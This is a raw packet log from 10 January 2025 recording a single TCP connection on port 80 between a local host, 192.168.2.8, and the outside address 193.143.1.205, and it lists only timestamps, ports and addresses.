Jan 10, 2025 19:28:17.954268932 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.954340935 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:17.982268095 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.982280970 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.982433081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.982439995 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:17.982485056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.982496023 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.982527018 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:17.982549906 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.982587099 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:17.982605934 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.982626915 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.982652903 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:17.982672930 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.034395933 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.037910938 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.037956953 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.037967920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.038031101 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.038073063 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.038073063 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.038086891 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.075015068 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.075027943 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.075042009 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.075093031 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.075114012 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.075124979 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.075156927 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.075156927 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.075187922 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.075210094 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.075273037 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.075751066 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.075809956 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.075820923 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.075912952 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.075923920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.075934887 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.075953960 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.075953960 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.076056957 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.076066017 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.076081038 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.076092005 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.076102018 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.076118946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.076118946 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.076172113 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.076240063 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.076311111 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.076322079 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.076343060 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.076461077 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.076471090 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.076482058 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.076494932 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.076494932 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.076730013 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.076747894 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.076808929 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.076818943 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.076834917 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.076900005 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.076932907 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.076932907 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.076976061 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.076987028 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.076997995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.077007055 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.077024937 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.077091932 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.077394962 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.077449083 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.077459097 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.077491045 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.077528000 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.077528000 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.077668905 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.077721119 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.077733040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.077801943 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.077833891 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.077833891 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.077908039 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.077918053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.077928066 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.077939034 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.077956915 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.078044891 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.078057051 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.078067064 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.078083992 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.078083992 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.078594923 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.078635931 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.078645945 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.078669071 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.078680992 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.078758955 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.078769922 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.078780890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.078803062 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.078897953 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.078908920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.078953028 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.078958988 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.078963995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.078974009 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.078999043 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.079124928 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.079513073 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.079530954 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.079593897 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.079605103 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.079634905 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.079634905 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.079709053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.079718113 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.079727888 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.079758883 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.079849005 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.079859018 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.079868078 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.079876900 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.079896927 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.079896927 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.080420017 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.080460072 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.080468893 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.080478907 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.080543041 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.080570936 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.080581903 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.080593109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.080699921 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.080709934 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.080729961 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.080729961 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.088319063 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.088319063 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.126586914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.126626968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.126638889 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.126662016 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.126712084 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.126738071 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.126746893 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.126795053 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.163613081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.163626909 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.163647890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.163660049 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.163670063 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.163686991 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.163739920 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.163762093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.163877964 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.163894892 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.163919926 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.163928986 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.164030075 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.164046049 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.164078951 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.164205074 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.164213896 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.164316893 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.164324999 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.164326906 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.164397001 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.164407015 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.164407969 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.164417982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.164652109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.164661884 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.164671898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.164686918 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.164686918 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.164752007 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.164771080 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.166209936 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.178302050 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.195082903 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.195095062 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.195132971 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.195142984 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.195184946 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.195184946 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.195385933 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.195430994 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.195455074 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.195477009 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.195487022 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.195528030 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.195548058 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.195570946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.195584059 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.195588112 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.195635080 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.195756912 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.195791960 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.195806026 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.195858955 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.195929050 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.195976973 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.196003914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.196086884 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.196098089 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.196109056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.196146011 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.196146011 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.196250916 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.196296930 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.196307898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.196369886 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.196428061 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.196553946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.196566105 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.196574926 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.196578026 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.196609020 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.196638107 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.196649075 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.196695089 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.196952105 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.196964025 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.196974993 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.196991920 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.197062969 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.197074890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.197086096 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.197104931 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.197104931 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.197194099 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.197205067 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.197215080 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.197226048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.197236061 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.197247982 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.197247982 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.197310925 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.197786093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.197805882 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.197817087 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.197931051 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.197942972 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.197952986 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.197962999 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.197974920 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.197976112 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.198002100 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.198069096 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.198080063 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.198127031 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.198178053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.198189974 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.198329926 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.198805094 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.198817015 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.198827982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.198862076 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.198862076 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.198895931 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.198906898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.198918104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.199044943 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.199055910 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.199065924 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.199068069 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.199078083 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.199089050 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.199107885 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.199107885 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.199125051 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.199704885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.199716091 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.199727058 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.199788094 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.199799061 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.199809074 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.199821949 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.199824095 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.199824095 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.199877024 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.199927092 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.199960947 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.199980021 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.199990034 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.200001001 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.200042009 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.200579882 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.200591087 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.200603008 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.200628996 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.200716972 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.200727940 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.200738907 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.200764894 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.200764894 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.200841904 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.200853109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.200862885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.200875044 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.200910091 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.200910091 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.200987101 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.201253891 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.201253891 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.201509953 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.201523066 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.201534033 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.201633930 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.201644897 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.201662064 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.201669931 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.201669931 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.201716900 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.201761007 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.201777935 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.201788902 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.201800108 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.201838970 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.201838970 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.213650942 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.223182917 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.223196983 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.223207951 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.223289967 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.223325968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.223336935 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.223351002 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.223386049 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.223386049 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.223386049 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.252615929 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.252633095 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.252644062 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.252665997 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.252702951 CET	80	49706	193.143.1.205	192.168.2.8
